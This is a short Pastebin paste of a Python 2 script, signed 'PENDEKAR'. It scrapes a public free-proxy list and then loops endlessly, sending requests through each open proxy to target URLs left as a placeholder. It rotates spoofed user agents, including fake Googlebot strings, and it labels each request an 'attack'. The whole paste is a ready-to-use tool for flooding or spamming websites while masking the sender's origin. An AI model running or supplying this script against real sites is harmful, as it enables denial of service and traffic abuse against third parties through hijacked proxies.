Advertisement
pendekar_langit

payah

Feb 29th, 2016
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.88 KB | None | 0 0
  1. #!/usr/bin/python
  2. import requests
  3. import random
  4. from bs4 import BeautifulSoup
  5.  
  6. def validate_ip(s):
  7.     a = s.split('.')
  8.     if len(a) != 4:
  9.         return False
  10.     for x in a:
  11.         if not x.isdigit():
  12.             return False
  13.         i = int(x)
  14.         if i < 0 or i > 255:
  15.             return False
  16.     return True
  17. def validate_port(s):
  18.     if not s.isdigit():
  19.         return False
  20.     i = int(s)
  21.     if i < 0 or i > 65535:
  22.         return False
  23.     return True
  24. def get_html():
  25.     return requests.get('https://free-proxy-list.net/').content
  26.  
  27. def get_ip():
  28.     res = []
  29.     soup = BeautifulSoup(get_html(), 'html5lib')
  30.     for data in soup.find_all('td'):
  31.         dt = data.string
  32.         if validate_ip(dt) or validate_port(dt):
  33.             res.append(dt)
  34.     return res
  35. def fix_array(datas):
  36.     res = []
  37.     if not len(datas) % 2:
  38.         for i in range(len(datas)-1):
  39.             if i % 2:
  40.                 res.append((datas[i+1], datas[i+2]))
  41.     return res
  42. def attack(ip, port):
  43.     http_proxy = "http://"+ip+":"+port
  44.     proxyDict = {
  45.         "http" : http_proxy,
  46.     }
  47.     agent = [
  48.     'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
  49.     'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
  50.     'Googlebot/2.1 (+http://www.google.com/bot.html)',
  51.     'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1',
  52.     'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
  53.     ]
  54.     headers = {
  55.         "User-agent": random.choice(agent),
  56.     }
  57.     urls = [
  58.     '< YOUR LIST URL>',
  59.     ]
  60.     url = random.choice(urls)
  61.     try:
  62.         print ip, port
  63.         res = requests.get(url, headers=headers, proxies=proxyDict, verify=True, timeout=None)
  64.         return res.status_code
  65.     except:
  66.         return None
  67. def main():
  68.     while True:
  69.         for data in fix_array(get_ip()):
  70.             if attack(data[0], data[1]) == 200:
  71.                 print "Attack sukses"
  72.             else:
  73.                 print "Attack mental gan"
  74.                 continue
  75.  
  76. if __name__ == "__main__":
  77.     main()
  78.  
  79. #BY PENDEKAR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement